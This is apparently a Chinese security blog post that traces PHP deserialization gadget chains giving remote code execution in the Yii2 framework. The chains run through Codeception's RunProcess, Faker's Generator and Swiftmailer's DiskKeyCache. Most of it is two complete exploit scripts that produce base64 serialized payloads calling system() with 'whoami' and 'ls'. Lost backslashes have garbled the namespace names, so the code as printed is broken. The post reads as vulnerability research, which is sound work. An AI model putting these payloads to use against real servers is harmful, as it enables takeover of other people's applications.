参考文章
最新出了 yii2
RCE的链,但是最新版的已经被修复了,接下来自己尝试看能不能自己找到其他链
一般找链是找 __destruct
和 __wakeup
函数
这里面我找到了 /vendor/codeception/codeception/ext/RunProcess.php
文件

这里调用了 stopProcess
函数,跟进里面先将 processes
数组反转,然后调用 isRunning()
这里面 $processes
是可控的

因此我们跟以前一样有两种方法,第一个是找 isRunning
函数,还有就是找 __call
函数,这里面我直接找 __call
吧,因为前辈们都分析出来了
调用 /vendor/fzaninotto/faker/src/Faker/Generator.php
里面的call函数,在调用 /vendor/yiisoft/yii2/base/InlineAction.php
函数
这里面师傅都分析的很清楚了
exp为
<?php
namespace yiiase{
class Action{
public $id;
}
}
namespace yii
est{
class Action extends yiiaseAction
{
public $checkAccess;
}
class IndexAction extends Action{
public function __construct($func,$parms)
{
$this->checkAccess=$func;
$this->id=$parms;
}
}
}
namespace Codeception{
abstract class Extension{
}
}
namespace Faker{
use yii
estIndexAction;
class Generator{
protected $formatters = array();
public function __construct($func,$parms)
{
$this->formatters["isRunning"]=[new IndexAction($func,$parms),"run"];
}
}
}
namespace CodeceptionExtension{
use CodeceptionExtension;
use FakerGenerator;
class RunProcess extends Extension
{
private $processes = [];
public function __construct($func,$parms)
{
$this->processes=[new Generator($func,$parms)];
}
}
}
namespace{
use CodeceptionExtensionRunProcess;
$exp=base64_encode(serialize(new RunProcess("system",'whoami')));
echo $exp;
}

还有师傅发现了其他的利用链
位于 /vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php

keys
可控,跟进 clearAll

继续跟进 clearKey

跟进 hasKey


path
可控,且使用了字符串的拼接函数,因此可以触发 __toString
具体实现的类太多了,很多都可以通过 __call
跳转到最开始的那条链上
这里面附上exp
<?php
namespace yii
est{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii
estCreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentorReflectionDocBlockTags{
use FakerGenerator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentorReflectionDocBlockTagsSee;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>